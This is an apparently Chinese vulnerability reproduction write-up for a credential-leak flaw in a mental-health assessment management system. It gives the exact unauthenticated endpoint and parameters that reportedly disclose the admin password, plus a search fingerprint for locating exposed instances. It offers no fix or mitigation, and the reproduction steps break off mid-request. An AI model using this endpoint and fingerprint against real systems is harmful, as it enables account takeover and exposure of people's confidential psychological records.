某心理健康测评系统-账号密码泄露漏洞复现

0x01 漏洞介绍

• 《京师心智心理测评健康管理系统》由京师心智与北京师范大学心理学院联合研发，秉承精准测量的研发理念，为用户提供各种专业化的测评服务.
• 系统主要包含人员信息管理、心理测评、危机预警、心理档案等8大核心功能，涵盖心理健康、情绪、个性、社会和学习适应性、压力状态、职业、家庭、心理能力等多方面的测量工具，能够满足广大心理健康工作者，对成员心理状况全面评估与诊断、快速筛选和及时干预的需求。

0x02 影响版本

访问接口 /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin，会显现泄露口令信息

0x03 漏洞查询

body="JS/ligerComboBox/ligerTree.js"

0x04 漏洞复现

第一步 获取泄漏的口令信息

GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=